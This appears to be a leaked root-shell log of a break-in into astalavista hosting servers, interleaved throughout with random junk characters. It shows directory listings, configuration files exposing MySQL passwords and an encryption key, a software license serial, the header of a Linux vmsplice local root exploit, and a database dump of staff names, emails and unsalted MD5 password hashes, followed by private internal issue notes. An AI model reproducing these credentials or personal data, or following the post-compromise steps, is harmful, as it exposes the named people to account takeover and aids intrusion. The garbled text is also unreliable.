drwxr-xr-x  2 root    root    4096 Dec 23 16:00 auth9 ^/ o4 D  |8 g& U$ h
-rw——-  1 astanet astanet 3892 Apr 16 12:14 .bash_history
: ?  d1 r' q1 k5 V-rw-r–r–  1 astanet astanet   33 Dec 17 21:50 .bash_logout( I4 n. s, X+ t4 W
-rw-r–r–  1 astanet astanet  176 Dec 17 21:50 .bash_profile! u- ]' X9 \/ B1 I5 ^, L- U5 u, e* h2 L
-rw-r–r–  1 astanet astanet  124 Dec 17 21:50 .bashrc
) x( J0 |# A6 n! E8 E/ U0 s# p+ Y" }drwx–x–x  3 astanet astanet 4096 Dec 23 12:18 domains4 o, e4 W( h' o
drwxrwx—  3 astanet mail    4096 Dec 23 12:18 imap( d) s3 c1 f/ ~" ~! s& L
drwx——  2 astanet astanet 4096 Dec 23 12:18 mail
, {7 [6 s: A% j8 d; ~( k" k9 h-rw——-  1 astanet astanet  197 Jun  4 09:51 .mysql_history
* V* o/ Y5 `+ o; Dlrwxrwxrwx  1 astanet astanet   37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
5 u# C( b$ ?5 U- s# v/ b. D-rw-r—–  1 astanet mail      34 Dec 22 12:41 .shadow4 |- X+ U$ n7 f* Q6 O; W

4 e3 v4 }; A" G  Vsh-3.2# cd auth/( C7 h2 q3 @7 ^8 F  D% V: U
sh-3.2# ls -la
% B: C. c0 r. I, v5 @total 28$ x5 h+ Z1 i! b8 J; z! L
drwxr-xr-x 2 root    root    4096 Dec 23 16:00 .) ~% w% {9 C/ U" r0 Q' |1 O% y
drwx–x–x 6 astanet astanet 4096 Jun  4 09:51 ..% u, T/ S5 m' c  r8 ~% p
-rw-r–r– 1 root    root     321 Jan  5  2006 hackercontest.config.inc.php
% B9 d4 o5 A$ O- K-rw-r–r– 1 root    root     319 Jan  5  2006 hosting.config.inc.php
0 @( y$ s7 \( i$ O1 S-rw-r–r– 1 root    root      24 Jun  4 09:38 .htadm_pwd
- s/ e! a# a/ N: v-rw-r–r– 1 root    root      49 Jan  5  2006 .htpasswd_newhosting, d; H2 k9 M. O$ G
-rw-r–r– 1 root    root      51 Oct 11  2006 .htwebalizer_pwd, b  @* U8 i( d% c

9 ^0 Q  V; s2 z$ }! ~! @4 psh-3.2# cat hackercontest.config.inc.php/ U/ P& z) w1 e% _9 ?/ B
<?PHP
; E0 ^4 Y. X2 e// Variabeln f?r Verbindung zur Datenbank //1 s: ]6 u5 f7 B. V. I
$conxHost = ‘localhost’;                       // MySQL hostname& T8 M) t6 X% ?2 Y8 x* J8 H
$conxUser = ‘hackercontest’;                                       // MySQL user
8 e) ^* K5 {9 F$conxPassword = ‘K6m@7dUc’;                    // MySQL password
: P' X* \" f' Y$ }0 f( F$bfkey = ‘cXvB3981′;                                       // Encryption/Decryption Key for Blowfish
; O" A5 C) Q2 |8 C  @- e?>$ M0 Y' F1 H9 Z6 z
sh-3.2# cat hosting.config.inc.php% S( J) s5 o$ s; h, z5 V! A
<?PHP
5 S1 d7 S# _4 L, \5 X// Variabeln f?r Verbindung zur Datenbank //* n# L/ c* M% k2 i8 ?3 J% ?
$conxHost = ‘localhost’;                       // MySQL hostname
' N( R0 T+ a& I, G) x8 f5 y$conxUser = ‘hostinguser’;                                 // MySQL user1 P) q' k1 k8 V, B$ q0 p4 A/ X
$conxPassword = ‘cXvB3981′;                    // MySQL password; M1 Z* s8 w! a9 ]7 _  ?
$bfkey = ‘cXvB3981′;                                       // Encryption/Decryption Key for Blowfish
4 f4 h* x/ z& g" y3 o" Z* K?>
8 c% r2 V; g$ ?2 b( z; A& W6 M9 ?" s! i2 e1 M0 ^4 Z
sh-3.2# cd ..) a' k8 G/ S5 x. y. _' s. |- w" w
sh-3.2# cd com/ n2 ~0 S4 H/ O- F; @5 Z
sh-3.2# ls -la
' [3 y. H8 q: W7 |total 1412082 J- B% G0 w3 ?
drwx–x–x 10 com  com       4096 Apr 28 12:40 ., T8 q2 o5 u1 L$ y9 F8 V6 u
drwxr-xr-x 14 root root      4096 Mar 11 17:56 ..
- e# M0 @7 R! h# O! ]drwx——  2 com  com       4096 Jun  4 04:04 backups; N7 N9 L5 x0 t$ W
-rw-r–r–  1 root root   2419504 Sep 28  2007 backup.sql0 l9 W+ {6 O+ w1 ~4 t
drwxr-xr-x  2 com  com       4096 May 12 15:20 backup_system
6 f8 S- w* H5 y+ J. ?& B-rw——-  1 com  com      21880 Jun  2 08:07 .bash_history* ~, y+ f( p4 S
-rw-r–r–  1 com  com         24 Sep 24  2007 .bash_logout+ f) E6 I4 T& M' Y/ [
-rw-r–r–  1 com  com        176 Sep 24  2007 .bash_profile9 O. K- q9 S6 L
-rw-r–r–  1 com  com        124 Sep 24  2007 .bashrc! E2 C( l/ Z8 q+ n& ]4 m; g- N
drwx–x–x  3 com  com       4096 Jan 29  2008 domains" {5 Z9 V" D4 j7 {8 u& y0 ?
-rw-r–r–  1 com  com      16409 Jul 16  2008 FWUser.class.php.fixed8 `6 d& u) C( {2 }6 ]9 i
drwxrwx—  3 com  mail      4096 Jan  6 19:24 imap
  Y' `! L7 }- v$ U  j-rw——-  1 com  com         69 Nov 18  2008 .lesshst1 E2 j. @! g6 P! l! v2 }& Q: Q
drwx——  2 com  com       4096 Sep 24  2007 mail$ x4 n& ~( q# i6 a
-rw——-  1 com  com      13970 Mar 28 21:42 .mysql_history' c  F6 y: k  P1 J
drwxr-xr-x  2 com  com       4096 Aug 20  2008 .ncftp
) }* R( n! R5 D! g3 }3 plrwxrwxrwx  1 com  com         37 Sep 24  2007 public_html -> ./domains/astalavista.com/public_html$ J% k! s0 @0 |8 ]
-rw-r—–  1 com  mail        34 Sep 24  2007 .shadow' h* L* v* L* ^! \5 O1 v8 s- k; }
drwx——  2 com  com       4096 Aug 26  2008 .ssh2 q% x6 b* J4 T4 _
-rwx——  1 com  com       8515 Feb 10  2008 t
9 i7 H/ Q9 C( J6 Q2 C-rw-rw-r–  1 com  com       6265 Feb 11  2008 t.c% Z; U2 o+ _$ z+ y# c
drwxrwxr-x  2 com  com       4096 Jan 30 15:47 tmp" |$ O4 f' `6 e% m! D' K4 y
-rw-rw-r–  1 com  com        617 May 20  2008 .toprc/ ~2 A/ H8 h. K5 ?4 a9 ^0 @
-rw-rw-r–  1 com  com  141851766 May 19  2008 version2-backup-20080519-0900.sql
( ^6 r5 Y) T6 j  e  D8 B& A6 P" r-rw——-  1 com  com      16629 Mar 28 21:46 .viminfo
  b0 F. O2 Y) g6 ]- X9 X-rw-rw-r–  1 com  com         51 Aug 25  2008 .vimrc
  [( s0 c4 a% ?, Q2 K) {
. E: n* M; }. d6 b9 o9 psh-3.2# head t.c4 m+ y! f/ `% S! \  r1 z
/*" n. _- `3 v. W% I& A5 d7 |2 H
* jessica_biel_naked_in_my_bed.c
- q8 @7 D5 b$ K1 u; T1 b  S8 I% ?*
$ i/ L  J( e# J4 _* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.4 M; U% A5 z2 ~# p$ M# u* N+ r, C
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.* Q+ W* G0 u. w0 b# Q- g
* Stejnak je to stare jak cyp a aj jakesyk rozbite.' o  P/ i3 x! V# I* K5 ^8 f
*
) Y' ?% {; s- v8 f* Linux vmsplice Local Root Exploit
" N- Z2 ?7 j( f* By qaaz
: |. q4 ?' m* J4 e2 t! z*
- X2 C5 h8 C9 h! c" `3 u7 C' U  q; D1 G
sh-3.2# cd /
+ m, }, z/ @/ \  d: x  @sh-3.2# ls -la( s7 Y$ m, Y- P! D* s. A+ ~3 P% U
total 360) O9 z7 d0 r3 X
drwxr-xr-x  25 root root   4096 Jun  3 02:43 .% f1 p+ \% Q$ v
drwxr-xr-x  25 root root   4096 Jun  3 02:43 ..
# t, D! w3 B3 W6 }. u& z) T3 o-rw——-   1 root root  10240 Jun  3 02:39 aquota.group" L0 g3 p$ N- B2 w
-rw——-   1 root root  10240 Jun  3 02:39 aquota.user  a' I' ], I: S/ `
-rw-r—–   1 root root    819 Jul 17  2008 astalavista.us.db
0 M0 v7 `2 i4 l! Y% F5 A0 t-rw-r–r–   1 root root      0 Jun  3 02:43 .autofsck  a# \% ^# p9 F: F. F
-rw-r–r–   1 root root      0 Sep 16  2007 .autorelabel+ U, p; {3 {/ ~( H5 M3 ^1 }3 Q
drwxr-xr-x   3 root root   4096 Dec 29  2007 backup: r) N6 H" w9 {. @7 j! O3 q" o
drwxr-xr-x   2 root root   4096 Jun  4 04:03 bin/ N2 C. R7 e" J# G2 C
drwxr-xr-x   5 root root   4096 Jun  2 14:06 boot/ e' l. Q+ }' b: v. j
drwxr-xr-x  11 root root   3620 Jun  3 02:43 dev
& y+ u/ l' M$ }1 I) Idrwxr-xr-x  84 root root  12288 Jun  4 03:16 etc
+ l; X4 a, t8 a1 e7 l% I  mdrwxr-xr-x  14 root root   4096 Mar 11 17:56 home
6 N8 _, J2 j0 r" c9 V% [-rw-r–r–   1 root root  13387 Mar 20  2008 httpd.conf
$ e& w. t+ j, z& ?1 _7 s, Odrwxr-xr-x  11 root root   4096 Jun  4 04:02 lib
2 S* t* r: Y7 R8 ?4 n: x1 K' ndrwxr-xr-x   7 root root   4096 Jun  4 04:03 lib648 ]. e+ n+ K/ D" }/ ^% j
drwx——   2 root root  16384 Sep 11  2007 lost+found- @7 F5 f* y% e8 P7 ^
drwxr-xr-x   2 root root   4096 Mar 11 17:56 media. l) x2 p' e  N0 e# A3 O
drwxr-xr-x   2 root root      0 Jun  3 02:43 misc
/ I5 {5 h* I5 I1 n; v6 idrwxr-xr-x   2 root root   4096 Mar 11 17:56 mnt
3 i* f7 w# ?- v9 ^-rw-r–r–   1 root root   5859 Feb  3  2008 mrtg.cfg
! ^/ E7 g4 {. }" Jdrwxr-xr-x   2 root root      0 Jun  3 02:43 net" A! i4 i8 |; C( Y5 M, ]6 L3 E1 `
drwxr-xr-x   3 root root   4096 Mar 11 17:56 opt
/ E  Q3 _0 x' v5 g) Jdr-xr-xr-x 264 root root      0 Jun  3 02:42 proc
7 ]' J; K( H5 z" H5 A- n4 Y! v# Fdrwxr-x—  15 root root   4096 Jun  4 08:40 root5 @% g. n* B0 G# q9 Z
drwxr-xr-x   2 root root  12288 Jun  4 04:03 sbin
/ T" c; C1 C3 R1 Odrwxr-xr-x   2 root root   4096 Mar 11 17:56 selinux- m' {" s1 F3 }) d
drwxr-xr-x   2 root root   4096 Mar 11 17:56 srv; z+ e& h$ ]5 W3 v  h* P
drwxr-xr-x  11 root root      0 Jun  3 02:42 sys$ n8 q! q% k( s! k# X! U
drwxrwxrwt   4 root root 122880 Jun  4 10:35 tmp( \2 g  S6 V- V% I" l8 `
drwxr-xr-x  16 root root   4096 Jun  2 13:56 usr3 \) ~2 i- y" w& O3 w3 L# u
drwxr-xr-x  26 root root   4096 Jun  4 03:16 var
! ~9 K( @, r1 V6 V8 H) X+ X+ m0 g* M2 l/ |% z- v  |
sh-3.2# cd opt, ^( N$ }* q8 N: l
sh-3.2# ls -la2 f1 X. P6 z: l# n
total 202 n% x7 n8 l% R/ o7 b
drwxr-xr-x  3 root root 4096 Mar 11 17:56 .% r$ w- G7 ^& j7 T
drwxr-xr-x 25 root root 4096 Jun  3 02:43 ..+ l7 F- ^3 e4 E% S# R2 f! j
drwxr-xr-x 15 root root 4096 Mar 20  2008 lsws1 J, K" J0 I: a, L2 ?& a* ]7 q

/ e* L9 [5 w2 W# x3 _sh-3.2# cd lsws/
  M9 H' V7 Z, q) I6 [" _; w( Xsh-3.2# ls -la' Y: F/ G; a% ]% f0 X- w
total 1080 e5 P' E3 |# q2 p: z
drwxr-xr-x 15 root   root    4096 Mar 20  2008 .# {( L6 ]& o$ P2 u$ d! i6 _
drwxr-xr-x  3 root   root    4096 Mar 11 17:56 ..
6 q+ t7 a& C6 J- a1 |2 [drwxr-xr-x  8 root   root    4096 Mar 20  2008 add-ons
, L2 `/ i& P5 S0 H2 sdrwxr-xr-x 13 root   root    4096 May 29 15:10 admin
# F5 u* H1 K& ~6 bdrwxr-xr-x  5 apache apache  4096 May 29 15:10 autoupdate2 N4 g5 m! ?, [( B8 |
drwxr-xr-x  2 root   root    4096 May 29 15:10 bin( n) I: l: _! I) W  F0 v& _
drwx——  4 apache apache  4096 Jun  3 02:43 conf  |1 H  q2 v6 j% D7 Y/ }, u
drwxr-xr-x  7 apache apache  4096 Mar 20  2008 DEFAULT6 p: J; Z5 N3 T+ {- l# \# v8 m5 m
drwxr-xr-x  2 root   root    4096 Sep 15  2008 docs& U. f% ~. ^. W8 T9 ]  _
drwxr-xr-x  2 root   root    4096 May 29 15:10 fcgi-bin
( {3 z0 B9 ?& z* udrwxr-xr-x  2 root   root    4096 Sep 15  2008 lib
, F  ?' f' k2 e' z8 ^$ O; x6 `-rw-r–r–  1 root   root    6959 May 29 15:10 LICENSE
2 n0 z( s7 J: }7 ]# Q3 y% R-rw-r–r–  1 root   root    2214 May 29 15:10 LICENSE.OpenLDAP* h' O5 V: s4 _! r9 j7 Q& u
-rw-r–r–  1 root   root    6279 May 29 15:10 LICENSE.OpenSSL. m8 O1 y9 @+ b% g2 S" ]
-rw-r–r–  1 root   root    3208 May 29 15:10 LICENSE.PHP
! H1 i* N/ y- L/ S# \! f0 t! {drwxr-xr-x  2 root   root   20480 Jun  4 09:55 logs
4 v& S# U3 z, R7 jdrwxr-xr-x  2 root   root    4096 Mar 20  2008 php, w' H4 ~6 U1 Y% d
drwx——  2 apache apache  4096 Mar 20  2008 phpbuild* ?0 c: ~& f( ]" R; l" I  {; K# {
drwxr-xr-x  3 root   root    4096 Mar 20  2008 share# \) I$ [% L. b* Y# X
-rw-r–r–  1 root   root       6 May 29 15:10 VERSION( ^; c+ Y, s+ V' j$ ^( z, A

9 N* G( G: d) F! `sh-3.2# cd conf
# Q5 O! G" q. g8 Z& [sh-3.2# ls -la1 k2 J* R  E% T. l. ~. e$ e7 U
total 48
: q- O) E4 N9 _) |drwx——  4 apache apache 4096 Jun  3 02:43 .3 Z% S& h' D. S
drwxr-xr-x 15 root   root   4096 Mar 20  2008 ..0 v' f, k) E- i- p9 p
drwx——  2 apache apache 4096 Mar 20  2008 cert9 Z3 S1 @+ J5 {6 g! {, J7 m/ i( _3 |
-rw-r–r–  1 apache apache 6668 May 29 15:13 httpd_config.xml0 l! o4 ]/ d- A9 b- F. l$ \
-rw——-  1 apache apache 6613 May 27 18:33 httpd_config.xml.bak
5 }4 N( W; Y9 e" K5 F7 R' }-rw-r–r–  1 root   apache    0 Jun  3 14:11 .last; I' ?) b& V# }( N; ^
-rw——-  1 apache apache  256 May 29 15:10 license.key
3 l% E1 C' M/ x, ~-rw——-  1 apache apache  256 Mar 21  2008 license.key.old1 T  Q  a. z; F2 F: O4 r
-rw——-  1 apache apache 3320 Mar 20  2008 mime.properties" M3 d+ v# F* A7 [4 }5 r& q6 d
-rw——-  1 apache apache   20 May 29 15:10 serial.no& ?- h: [8 f6 s9 X1 b
drwx——  2 apache apache 4096 Mar 20  2008 templates, _' |/ F# K# z, ~) N; [
  a, k! |3 e- L2 T+ b3 R
sh-3.2# cat serial.no
0 n* q: [3 }+ h; J+ fIbDl-oVsO-CKqL-wVRa
' h  s! f; W% g9 h# c$ n+ V# d) x. R) g2 K
sh-3.2# mysql  @7 m5 B( K) F7 O4 |! J
Welcome to the MySQL monitor.  Commands end with ; or \g.
+ q- m# D' c. UYour MySQL connection id is 286844
" y* J6 O3 v; i8 v$ D9 k4 wServer version: 5.0.45-community-log MySQL Community Edition (GPL). p1 x3 Q+ A/ X5 ?& j* S# O
- |7 N7 g2 E# t$ O  o
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.3 N5 R; \. P# n' Z% V, ~

# L: B, B* o1 M3 A/ Xmysql> show databases;
* S# I& o1 X4 Q+ k* C+———————–+' t9 h' |6 N: ^/ ~7 _
| Database              |% C/ A: N; q. [4 o
+———————–+, h- k8 A# r7 u8 F, w  N
| information_schema    |
# Q6 T# w4 w# b/ C| astanet_ads           |) K9 Z! V( J* B4 d3 z) F% A
| astanet_mailing_lists |
$ q6 m- ]( c; r* O0 i. n2 k| astanet_mediawiki     |7 i- K/ l9 K, \/ c) g3 o% {8 p
| astanet_membersystem  |
) Q6 k, P4 t3 N! h2 ~/ H. B| com_contrexx          |
5 G& @0 ?0 _2 U  \. c1 C6 X| com_contrexx2         |/ f$ `6 x- M* B% F$ E1 `" ?9 ?
| com_contrexx2_live    |/ `7 _0 v) _+ D$ r1 L3 S1 g4 d
| da_roundcube          |
) J1 n, _6 X, j| dolphin               |
' v' T( B8 y3 e3 i| ideapool              |" q; ~9 y$ d, r6 K. w* c! `
| mysql                 |* v* y- L, u5 K! ~. p  e4 u  [
| test                  |+ c, C: H5 r& D  o6 l
| yourmaster            |
( y' m; M/ P% l% K; C3 u+———————–+
, E# a' ]0 j! c; s. J14 rows in set (0.00 sec)
" W& l- k. |8 ~" L$ {% N' G; j1 s; K- a
mysql> use ideapool
4 `) M& v" r+ nDatabase changed
5 O1 H; Z- T! Y7 V1 V1 ?mysql> show tables;  M8 t! \/ u% Y( P
+———————————–+
& Q% m, }$ l! ?& B| Tables_in_ideapool                |- J6 R- n  k/ ?0 K. k- q
+———————————–+; U; a- A" Z# |% K& R2 m8 s
| eventum_columns_to_display        |
. @/ D3 t7 |- }) A& u( Y, s| eventum_custom_field              |+ D' y$ }$ A: w& {3 T) n3 J) X
| eventum_custom_field_option       |" T$ J% G9 B/ d. i6 f% i
| eventum_custom_filter             |7 ~. Z1 g* V9 Y3 g
| eventum_customer_account_manager  |% ?  A: E/ Y7 Y8 I) _. f( \3 U
| eventum_customer_note             |
9 W6 g" o* a+ B8 `. a| eventum_email_account             |0 R! b0 x( A& o" m
| eventum_email_draft               |$ l. w( p2 G9 e9 a$ y
| eventum_email_draft_recipient     |2 ~- [8 ?( J5 J) B: v
| eventum_email_response            |( j2 I1 U) s0 Q
| eventum_faq                       |/ ?" [7 e7 E  @4 w, s
| eventum_faq_support_level         |& b+ s0 B  x: m: Z( C  Q
| eventum_group                     |
8 E/ {0 J0 ~4 K1 a7 F( \5 K| eventum_history_type              |3 H/ e5 B6 P; F( k
| eventum_irc_notice                |/ ?7 i. E$ s9 V& v* N4 p! E5 O
| eventum_issue                     |
9 Y* Y$ x4 c3 P: u| eventum_issue_association         |( s& j" L; n2 C) a2 {
| eventum_issue_attachment          |* r$ ?8 Z; C6 x. w" M1 ?7 r
| eventum_issue_attachment_file     |
9 y2 Z$ Y: I+ w- y4 F! V| eventum_issue_checkin             |( c! S. B0 L& s* k5 a9 p/ [
| eventum_issue_custom_field        |
, M' F0 {+ w+ s+ m8 i7 V/ S| eventum_issue_history             |! v: s+ V& y' M
| eventum_issue_quarantine          |% s3 Z2 A7 h  b: R- A& n0 k
| eventum_issue_requirement         |3 }) P" F- |1 r7 \' u
| eventum_issue_user                |: G4 s" ]  t6 h0 E9 X) l. \
| eventum_issue_user_replier        |  b3 S; t8 w2 l
| eventum_link_filter               |) U1 `3 [9 v" W. M/ j! d  {
| eventum_mail_queue                |
+ ]7 X8 ~7 Y4 h) K, e' Z& u0 q| eventum_mail_queue_log            |6 `+ S$ Q. r! r) d9 v$ j7 p
| eventum_news                      |7 e, v0 ~/ `# ?' I0 a5 {) f0 T% Q* ]  \
| eventum_note                      |/ @2 e( O# J# V( _# N- \# J  r0 t! X; X
| eventum_phone_support             |+ t# \5 j5 J7 {  K
| eventum_project                   |
0 a7 N1 d3 |! F& Q, S: y: w5 K| eventum_project_category          |
  @% i; |1 i' h2 N+ _0 X  l| eventum_project_custom_field      |
2 @! Z1 R1 r# a| eventum_project_email_response    |) Q# T7 o" }: x- ^% L: }
| eventum_project_field_display     |
* N. G+ L, B. u$ A4 J, F/ T/ b2 n: {# E| eventum_project_group             |) `1 @( _+ U) _5 }& `8 X) x  n
| eventum_project_link_filter       |
; Q' R, W+ `8 L7 [& e( _) Q- I| eventum_project_news              |: z" L3 n  y( A# ~; L" f
| eventum_project_phone_category    |" U+ k. N& r& a/ q! e5 Z
| eventum_project_priority          |
4 D% [6 t) ?' `* l2 |8 P/ S! t| eventum_project_release           |
- U* A; E4 w, J* ?# H| eventum_project_round_robin       |
/ O. j. ~# u' I! G! N| eventum_project_status            |" L7 X- t* Q+ Z5 H$ Y
| eventum_project_status_date       |
8 m: m0 Y# \$ g7 P1 b* Z& l6 {$ p| eventum_project_user              |/ t/ C; e% L& {
| eventum_reminder_action           |
) [0 k" H9 }3 K2 d) {% I' `| eventum_reminder_action_list      |
% u# Y( O' T! \  {* W% i| eventum_reminder_action_type      |+ Q3 I3 v- w- d$ w$ |: y
| eventum_reminder_field            |5 Y+ J5 j  w- r! }3 d% e  U3 b$ q
| eventum_reminder_history          |' q1 ^8 I6 G, K( e
| eventum_reminder_level            |% Y& e0 l0 f5 I
| eventum_reminder_level_condition  |+ T9 E1 p* F' d5 c% X! ?* M+ F! w5 G
| eventum_reminder_operator         |
! W5 S) J/ y/ e+ E3 L* }5 \| eventum_reminder_priority         |0 D4 a0 l, }! n3 y
| eventum_reminder_requirement      |
7 `9 R3 z' l" u3 G| eventum_reminder_triggered_action |
7 R* D+ l- }( H7 \$ i5 _| eventum_resolution                |/ Y- E8 C& X0 [8 `4 Z
| eventum_round_robin_user          |0 @6 O! g3 n2 E* A
| eventum_search_profile            |
9 s* G1 @6 s: j& r, F| eventum_status                    |4 Z3 u* a8 P: ^! q* K% d
| eventum_subscription              |
. O% R: m- ~. S7 \; ]3 q| eventum_subscription_type         |6 P& G7 d6 L) _4 R& [* e, N
| eventum_support_email             |/ i+ y$ b& K* A. X- k7 m7 G& P
| eventum_support_email_body        |  v: \- ]$ {$ ~' b1 W1 Y' a! C
| eventum_time_tracking             |
. r9 `/ H  I. A$ Y9 W| eventum_time_tracking_category    |# a4 \7 ~" T# [- v
| eventum_user                      |
" B- f& p1 P, M+———————————–+
" O: L; M+ v2 Y& d# p  e* w69 rows in set (0.00 sec)$ l( }+ s" w( K" \# ~
0 Q6 u' G: ]. n! \2 V2 O
mysql> describe eventum_user;
5 d6 `- a( u& _3 }5 \/ @2 r# P8 f$ i% v+————————-+——————+——+—–+———————+—————-+. N) V% {/ t# F: Z* s# E* ^
| Field                   | Type             | Null | Key | Default             | Extra          |
& X* ?; {* c9 n+————————-+——————+——+—–+———————+—————-+
9 q3 K7 ~* K( L: e' ?8 q| usr_id                  | int(11) unsigned | NO   | PRI | NULL                | auto_increment |0 R2 Y9 _" N" ]$ o
| usr_grp_id              | int(11) unsigned | YES  | MUL | NULL                |                |
; ~. e; h" V: T: W7 H% Q* c| usr_customer_id         | int(11) unsigned | YES  |     | NULL                |                |+ C$ D& j+ C1 |! |9 z$ \
| usr_customer_contact_id | int(11) unsigned | YES  |     | NULL                |                |; w0 y$ h6 L: Y- U8 i, E1 o
| usr_created_date        | datetime         | NO   |     | 0000-00-00 00:00:00 |                |
$ o. H2 T* e! c| usr_status              | varchar(8)       | NO   |     | active              |                |1 ?* t& ^, t- T5 `' s4 T  E$ v
| usr_password            | varchar(32)      | NO   |     |                     |                |
! ~& A; v3 S; m# Y| usr_full_name           | varchar(255)     | NO   |     |                     |                |, g' A/ O2 K6 ?1 A" A
| usr_email               | varchar(255)     | NO   | UNI |                     |                |
! k- Q3 Z2 d6 p4 n: G) `; I6 g. u. a| usr_preferences         | longtext         | YES  |     | NULL                |                |
* N( i4 t6 `5 o8 b' T* s| usr_sms_email           | varchar(255)     | YES  |     | NULL                |                |4 b/ \& x6 p7 N; l: P
| usr_clocked_in          | tinyint(1)       | YES  |     | 0                   |                |8 F+ a# a; }1 n% |2 k& S, U4 X
| usr_lang                | varchar(5)       | YES  |     | NULL                |                |# M' N3 g1 h/ C# e
+————————-+——————+——+—–+———————+—————-+0 e  \( T3 Z* K6 F4 o
13 rows in set (0.00 sec)
" z5 m' B* j# v) e; k& v1 M! a6 k) @0 y8 k8 k# s# H! W
mysql> select usr_full_name,usr_email,usr_password from eventum_user;, r7 C7 m5 m8 s4 Z6 C
+———————-+——————————-+———————————-+
- g+ S% h$ Q) q$ u; p3 @| usr_full_name        | usr_email                     | usr_password                     |
4 `4 d0 h9 Q7 k0 h0 l+———————-+——————————-+———————————-+0 N: ]: ~8 D3 ~$ d, {7 X4 V0 r
| system               | 链接标记system-account@example.com    | 14589714398751513457adf349173434 |, T/ w4 \7 E/ j, j5 x
| Developer (Paulo)    | 链接标记paulo.santos@astalavista.ch   | 26a35a1cf8895c27fb37ef4cf149f7bb |
- j% b4 O. s0 K5 Z0 v( g. N  w| Be1er0ph0r           | 链接标记be1er0ph0r@gmx.de             | 229766dc0ca1fb67160a8782321dfdce |1 B) k, \9 y3 u. `3 W; |' G: r
| Admin                | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
0 u( Y+ [4 A$ a| ADMIN                | 链接标记admin@astalavista.ch          | f6fdffe48c908deb0f4c3bd36c032e72 |
% g: J! M; w1 V4 I: F) u" I| USER                 | 链接标记user@astalavista.ch           | 5cc32e366c87c4cb49e4309b75f57d64 |3 L3 |/ L* Z+ l; [
| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com       | f7735ab119023a8abb2301e67f81cd67 |
1 k* ]. L; u/ \* H% v| Joao                 | 链接标记joao.pontes@astalavista.net   | f805c071d7c823b937448c54c047b9fd |% t/ y* d8 ]( X: x3 b* B' M* a; \
| Pascal               | 链接标记pm@astalavista.ch             | e10adc3949ba59abbe56e057f20f883e |
: l2 l0 h4 d+ i| commander            | 链接标记commander@astalavista.com     | 932cd250918f881d41feb0b93883a926 |
- z  L+ Z( o" D3 f| ishtus               | 链接标记ishtus@astalavista.com        | a587ffc88b3dbbba3fd2fe67af649ff0 |
0 {% y6 T3 u+ D1 y7 ?| sykadul              | 链接标记sykadul@astalavista.com       | 20224a2f3eeb57a13a10b4df543c128e |, T- z" t! e" t
| Zach McElroy         | 链接标记admin@badfoo.net              | 33c5d4954da881814420f3ba39772644 |& v; c6 e7 }* ?: g0 ?
| usb                  | 链接标记usbenigma@hushmail.com        | b513f22c3db6932855ad732f5f8a10a2 |) o" f" A# M: x0 r; D
| cyph3r               | 链接标记cyph3r@astalavista.com        | 6e1e50017a945e874d52ec91f9ab2cee |
# P6 _. {& |# C  A0 g& l+———————-+——————————-+———————————-+
& L( I" E( V2 r, Q% {! `2 A15 rows in set (0.00 sec)
* C6 o. x0 W4 b1 F
; g. Q8 T" G. ^/ Y* v! ~4 a3 mmysql> select iss_description from eventum_issue where iss_id = 43;2 t" D" a- U/ }. n4 z
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+! r0 `! z- z3 M
| iss_description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                
6 u4 e. y' }9 ^$ |! s; X|5 r% Q: W7 S1 D0 A% k- u8 P$ G
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+/ c( X9 A4 m2 G: h1 a  c
| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be
" L1 H( q1 Y3 v7 p7 xconnected for 90 mins… 120mins… so what i propose is something like:
( F' b3 u# B: v( h; D# }: a链接标记[url]http://www.surfthechannel.com/[/url]) {$ s: {8 u7 A/ \3 s5 V2 W# D5 ?
since they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system; J! I1 ?5 U4 G& i& v
like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t7 L, L6 k$ X1 Q( s/ p/ h7 o
break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off) K: p" k3 O: N! W4 F0 u3 l7 ~
if they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…0 e1 k$ m9 p9 M; S5 S
+ i% U) H; G- P, K( }) P8 o' B; y
We could also put advertisement during play on the flash video player itself… extra $$…
: J: O: v9 v/ m2 [  v6 ~( q. ~1 E
! a# u0 ?7 L  f0 `By sykadul |
2 z- g! @4 f) e# |% L! J+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
" l9 m$ m) C* v# a1 row in set (0.00 sec)
% w, s! w+ {6 a9 l* S( H
0 d1 ]% Q7 i& U  G6 D  m// Money and extra $$ is all they care about. remember that.0 |" V6 M" D" X- k; A6 d

& C  w- U# d6 Z1 m$ o6 E4 cmysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
( }" l+ _& R" }% C5 i7 d+————————+——————————————————————————————————————————————————————————————————————————————-+3 @& P( {6 n2 Y: \  P
| iss_summary            | iss_description                                                                                                                                                                                                                          
! {4 S4 a! N- W7 J& M|, a( }: ?. R' T
+————————+——————————————————————————————————————————————————————————————————————————————-+( ~* W* ^% K8 v" }
| Forum for REAL EXPERTS | Hello,' `& M) R4 ?, E* T  x5 }) z: T; b

! k$ D9 x) J. Y$ C1 kIshtus and I,6 K* S8 J% N. ~8 \

& M: s1 k) L4 ?9 U+ R% O( R1 {Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide
9 ~/ |" l. H* y" V. d3 P% J3 hONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..
' f+ H: d, C" ~+ o5 L4 S0 J: A4 z8 ~4 j- W3 }
One example a friend of mine from coresecurity.com!
# ]3 B( z1 M8 R* j% |. A/ V/ K: {1 ~& o
We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..
